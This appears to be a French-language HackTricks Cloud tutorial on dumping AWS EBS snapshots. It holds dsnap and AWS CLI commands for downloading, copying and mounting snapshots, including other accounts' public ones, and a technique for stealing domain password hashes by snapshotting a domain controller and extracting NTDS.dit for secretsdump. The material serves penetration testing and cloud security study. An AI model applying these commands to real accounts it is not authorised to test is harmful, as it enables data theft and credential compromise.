AWS - EBS Snapshot Dump
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
VĂ©rification dâun instantanĂ© localement
# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox
# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly
# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy
# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
Caution
Remarque que
dsnapne vous permettra pas de tĂ©lĂ©charger des instantanĂ©s publics. Pour contourner cela, vous pouvez faire une copie de lâinstantanĂ© dans votre compte personnel et tĂ©lĂ©charger cela :
# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2
# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da
# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2
Pour plus dâinformations sur cette technique, consultez la recherche originale dans https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/
Vous pouvez le faire avec Pacu en utilisant le module ebs__download_snapshots
VĂ©rification dâun instantanĂ© dans AWS
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id snap-0b49342abd1bdcb89
Montez-le dans une VM EC2 sous votre contrĂŽle (il doit ĂȘtre dans la mĂȘme rĂ©gion que la copie de la sauvegarde) :
Ătape 1 : Un nouveau volume de la taille et du type de votre choix doit ĂȘtre créé en allant sur EC2 â> Volumes.
Pour pouvoir effectuer cette action, suivez ces commandes :
- CrĂ©ez un volume EBS Ă attacher Ă lâinstance EC2.
- Assurez-vous que le volume EBS et lâinstance sont dans la mĂȘme zone.
Ătape 2 : Lâoption âattacher le volumeâ doit ĂȘtre sĂ©lectionnĂ©e en cliquant avec le bouton droit sur le volume créé.
Ătape 3 : Lâinstance dans la zone de texte de lâinstance doit ĂȘtre sĂ©lectionnĂ©e.
Pour pouvoir effectuer cette action, utilisez la commande suivante :
- Attachez le volume EBS.
Ătape 4 : Connectez-vous Ă lâinstance EC2 et listez les disques disponibles en utilisant la commande lsblk.
Ătape 5 : VĂ©rifiez si le volume contient des donnĂ©es en utilisant la commande sudo file -s /dev/xvdf.
Si la sortie de la commande ci-dessus montre â/dev/xvdf: dataâ, cela signifie que le volume est vide.
Ătape 6 : Formatez le volume au systĂšme de fichiers ext4 en utilisant la commande sudo mkfs -t ext4 /dev/xvdf. Alternativement, vous pouvez Ă©galement utiliser le format xfs en utilisant la commande sudo mkfs -t xfs /dev/xvdf. Veuillez noter que vous devez utiliser soit ext4 soit xfs.
Ătape 7 : CrĂ©ez un rĂ©pertoire de votre choix pour monter le nouveau volume ext4. Par exemple, vous pouvez utiliser le nom ânewvolumeâ.
Pour pouvoir effectuer cette action, utilisez la commande sudo mkdir /newvolume.
Ătape 8 : Montez le volume dans le rĂ©pertoire ânewvolumeâ en utilisant la commande sudo mount /dev/xvdf /newvolume/.
Ătape 9 : Changez de rĂ©pertoire vers le rĂ©pertoire ânewvolumeâ et vĂ©rifiez lâespace disque pour valider le montage du volume.
Pour pouvoir effectuer cette action, utilisez les commandes suivantes :
- Changez de répertoire vers
/newvolume. - VĂ©rifiez lâespace disque en utilisant la commande
df -h .. La sortie de cette commande doit montrer lâespace libre dans le rĂ©pertoire ânewvolumeâ.
Vous pouvez faire cela avec Pacu en utilisant le module ebs__explore_snapshots.
VĂ©rification dâun instantanĂ© dans AWS (en utilisant cli)
aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>
# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>
# mount the snapshot from within the VM
sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'
sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63
lsblk /dev/xvdh
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
xvdh 202:112 0 8G 0 disk
ââxvdh1 202:113 0 7.9G 0 part
ââxvdh14 202:126 0 4M 0 part
ââxvdh15 202:127 0 106M 0 part
sudo mount /dev/xvdh1 /mnt
ls /mnt
Shadow Copy
Tout utilisateur AWS possĂ©dant la permission EC2:CreateSnapshot peut voler les hachages de tous les utilisateurs de domaine en crĂ©ant un snapshot du contrĂŽleur de domaine, en le montant sur une instance quâil contrĂŽle et en exportant le fichier NTDS.dit et le registre SYSTEM pour une utilisation avec le projet secretsdump dâImpacket.
Vous pouvez utiliser cet outil pour automatiser lâattaque : https://github.com/Static-Flow/CloudCopy ou vous pourriez utiliser lâune des techniques prĂ©cĂ©dentes aprĂšs avoir créé un snapshot.
References
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

